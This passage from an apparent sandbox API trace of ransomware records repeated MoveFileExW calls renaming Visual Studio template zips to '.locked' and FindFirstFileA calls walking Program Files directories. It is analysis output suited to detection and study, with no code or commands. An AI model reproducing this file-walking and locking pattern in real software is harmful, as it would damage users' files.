8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfo.zip.locked"), dwFlags=0x2) returned 1 [0126.032] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfoInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfointernal.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfoInternal.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfointernal.zip.locked"), dwFlags=0x2) returned 1 [0126.034] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Class.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\class.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Class.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\class.zip.locked"), dwFlags=0x2) returned 1 [0126.039] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\CodeFile.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\codefile.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\CodeFile.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\codefile.zip.locked"), dwFlags=0x2) returned 1 [0126.042] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\DataSet.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\dataset.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\DataSet.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\dataset.zip.locked"), dwFlags=0x2) returned 1 [0126.046] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\EmptyDatabase.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\emptydatabase.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\EmptyDatabase.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\emptydatabase.zip.locked"), dwFlags=0x2) returned 1 [0126.051] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Form.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\form.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Form.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\form.zip.locked"), dwFlags=0x2) returned 1 [0126.054] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Interface.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\interface.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Interface.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\interface.zip.locked"), dwFlags=0x2) returned 1 [0126.071] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\MDIParent.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\mdiparent.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\MDIParent.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\mdiparent.zip.locked"), dwFlags=0x2) returned 1 [0126.077] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Resource.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resource.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Resource.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resource.zip.locked"), dwFlags=0x2) returned 1 [0126.082] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\ResourceInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resourceinternal.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\ResourceInternal.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resourceinternal.zip.locked"), dwFlags=0x2) returned 1 [0126.086] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Settings.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settings.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Settings.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settings.zip.locked"), dwFlags=0x2) returned 1 [0126.090] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\SettingsInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settingsinternal.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\SettingsInternal.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settingsinternal.zip.locked"), dwFlags=0x2) returned 1 [0126.093] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\TextFile.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\textfile.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\TextFile.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\textfile.zip.locked"), dwFlags=0x2) returned 1 [0126.097] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\UserControl.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\usercontrol.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\UserControl.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\usercontrol.zip.locked"), dwFlags=0x2) returned 1 [0126.101] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Visualizer.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\visualizer.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Visualizer.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\visualizer.zip.locked"), dwFlags=0x2) returned 1 [0126.104] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\XmlFile.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\xmlfile.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\XmlFile.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\xmlfile.zip.locked"), dwFlags=0x2) returned 1 [0126.106] GetFileType (hFile=0xa0) returned 0x1 [0126.107] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xee258c60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee258c60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf2, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0126.110] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xee27edc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee27edc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0126.113] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AppConfigurationInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\appconfigurationinternal.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AppConfigurationInternal.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\appconfigurationinternal.zip.locked"), dwFlags=0x2) returned 1 [0126.116] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AssemblyInfoInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\assemblyinfointernal.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AssemblyInfoInternal.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\assemblyinfointernal.zip.locked"), dwFlags=0x2) returned 1 [0126.119] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Class.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\class.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Class.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\class.zip.locked"), dwFlags=0x2) returned 1 [0126.122] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dataset.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\dataset.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dataset.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\dataset.zip.locked"), dwFlags=0x2) returned 1 [0126.126] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dialog.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\dialog.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dialog.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\dialog.zip.locked"), dwFlags=0x2) returned 1 [0126.130] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\EmptyDatabase.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\emptydatabase.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\EmptyDatabase.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\emptydatabase.zip.locked"), dwFlags=0x2) returned 1 [0126.151] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Explorer.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\explorer.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Explorer.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\explorer.zip.locked"), dwFlags=0x2) returned 1 [0126.156] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Form.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\form.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Form.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\form.zip.locked"), dwFlags=0x2) returned 1 [0126.201] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\LoginForm.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\loginform.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\LoginForm.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\loginform.zip.locked"), dwFlags=0x2) returned 1 [0126.234] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\MDIParent.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\mdiparent.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\MDIParent.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\mdiparent.zip.locked"), dwFlags=0x2) returned 1 [0126.238] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Module.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\module.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Module.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\module.zip.locked"), dwFlags=0x2) returned 1 [0126.243] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\ResourceInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\resourceinternal.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\ResourceInternal.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\resourceinternal.zip.locked"), dwFlags=0x2) returned 1 [0126.246] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SettingsInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\settingsinternal.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SettingsInternal.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\settingsinternal.zip.locked"), dwFlags=0x2) returned 1 [0126.306] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SplashScreen.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\splashscreen.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SplashScreen.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\splashscreen.zip.locked"), dwFlags=0x2) returned 1 [0126.309] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Text.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\text.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Text.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\text.zip.locked"), dwFlags=0x2) returned 1 [0126.315] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\UserControl.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\usercontrol.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\UserControl.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\usercontrol.zip.locked"), dwFlags=0x2) returned 1 [0126.316] GetFileType (hFile=0xc8) returned 0x1 [0126.319] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xee46dfa0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee46dfa0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf2, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0126.320] GetFileType (hFile=0xc4) returned 0x1 [0126.321] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xee46dfa0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee46dfa0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf2, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.321] GetFileType (hFile=0x120) returned 0x1 [0126.322] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xee46dfa0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee46dfa0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf2, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.323] GetFileType (hFile=0x120) returned 0x1 [0126.323] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xee46dfa0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee46dfa0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf2, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.326] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xee46dfa0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee46dfa0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf2, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0126.329] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xee494100, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee494100, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf2, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.330] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft.NET\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f1bbe30, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xee494100, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee494100, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf2, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0126.336] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xee494100, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee494100, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf2, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.340] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft.NET\\RedistList\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xee494100, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee494100, 